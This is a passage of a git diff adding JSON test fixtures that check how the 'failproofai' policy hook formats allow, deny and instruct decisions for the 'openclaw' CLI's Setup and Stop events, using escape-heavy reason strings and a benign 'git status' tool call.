2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..4bcf552d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5bd71a83 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..9ccee7a0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..22408c5c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e1a9ad65 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c9b63717 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d81ad72a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..6163547b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..73129b44 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..171dd69c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a7f912dc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..fe24c028 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..bc1d4d05 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1a7d2dfc --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..03614109 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..97472c5e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1bbd233d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9ed863aa --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git 